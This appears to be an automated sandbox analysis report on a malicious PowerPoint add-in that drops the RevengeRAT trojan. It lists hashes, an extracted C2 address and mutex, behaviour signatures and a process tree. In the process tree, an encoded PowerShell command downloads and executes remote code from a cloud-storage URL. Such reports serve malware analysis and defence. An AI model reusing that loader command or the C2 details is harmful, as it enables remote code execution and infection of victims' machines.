Analysis

  • max time kernel
    63s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    27-08-2024 05:46

General

  • Target

    LinhasSumarizadas_2022067095.ppam

  • Size

    23KB

  • MD5

    5de80d785be21045bf2fc51f097f6b8b

  • SHA1

    edc2ae73bb1edecd46a1854fc8a16b0d487da377

  • SHA256

    3ac9ad537d6334c6e99dfcf2447599520d3d4c0eb6c4ce7296e8224a1b3df996

  • SHA512

    2374ea1f272d034d3ee299ab9c9e83feff26b39ff5cc8a3712c8c4da4244831f9c80138284f3e37f39faff09b532cc18ddbf593128f4a48fe4b71cac18214e18

  • SSDEEP

    384:dXPr0kw5Tul3BEGHwVuOYDyqIVGWcuA6qY4qHZjwJU7+FZq+unkTa31Y0U4Un0:VPg5cBpHOuOYaIjuI6jCc+fq+dgUV0

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

18.228.165.84:3333

Mutex

788bf014999d4ae8929

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\LinhasSumarizadas_2022067095.ppam"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    PID:1656
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1992
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAHMAcABhAG0ALQBjADIANwAzAGEALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AMQA1AC0AMAA4AC0AMgAwADIANAAuAGoAcABnAD8AYQBsAHQAPQBtAGUAZABpAGEAJgB0AG8AawBlAG4APQBkAGIAYQA5ADEAMgBjADAALQBlADgANAAxAC0ANAAyADIANQAtAGEAYgA4ADgALQA4AGIAYQAyADYAMQAyADYANgAxAGUAMgANAAoAJwApADsAIAANAAoAdQBwAFQAQQBvAGkAWABUAEMAdQBVAEMATgBwAHkAegBhAA0ACgA=""
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2784
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          • Checks processor information in registry
          PID:3000

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1656-0-0x000000002D941000-0x000000002D942000-memory.dmp

      Filesize

      4KB

    • memory/1656-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1656-2-0x0000000072B8D000-0x0000000072B98000-memory.dmp

      Filesize

      44KB

    • memory/1656-3-0x0000000006470000-0x0000000006570000-memory.dmp

      Filesize

      1024KB

    • memory/1656-19-0x0000000005710000-0x0000000005810000-memory.dmp

      Filesize

      1024KB

    • memory/1656-18-0x0000000005710000-0x0000000005810000-memory.dmp

      Filesize

      1024KB

    • memory/1656-10-0x0000000005710000-0x0000000005810000-memory.dmp

      Filesize

      1024KB

    • memory/1656-20-0x0000000072B8D000-0x0000000072B98000-memory.dmp

      Filesize

      44KB

    • memory/1656-21-0x0000000005710000-0x0000000005810000-memory.dmp

      Filesize

      1024KB

    • memory/1656-50-0x0000000072B8D000-0x0000000072B98000-memory.dmp

      Filesize

      44KB

    • memory/1656-49-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2784-29-0x00000000028A0000-0x00000000028B8000-memory.dmp

      Filesize

      96KB

    • memory/2784-31-0x00000000028A0000-0x00000000028B8000-memory.dmp

      Filesize

      96KB

    • memory/2784-27-0x00000000028A0000-0x00000000028B8000-memory.dmp

      Filesize

      96KB

    • memory/2784-25-0x00000000028A0000-0x00000000028B8000-memory.dmp

      Filesize

      96KB

    • memory/2784-24-0x00000000028A0000-0x00000000028B8000-memory.dmp

      Filesize

      96KB

    • memory/2784-33-0x00000000028A0000-0x00000000028B8000-memory.dmp

      Filesize

      96KB

    • memory/2784-35-0x00000000028A0000-0x00000000028B8000-memory.dmp

      Filesize

      96KB

    • memory/3000-42-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/3000-40-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/3000-38-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/3000-36-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/3000-47-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/3000-46-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/3000-44-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

      Filesize

      4KB

    • memory/3000-45-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB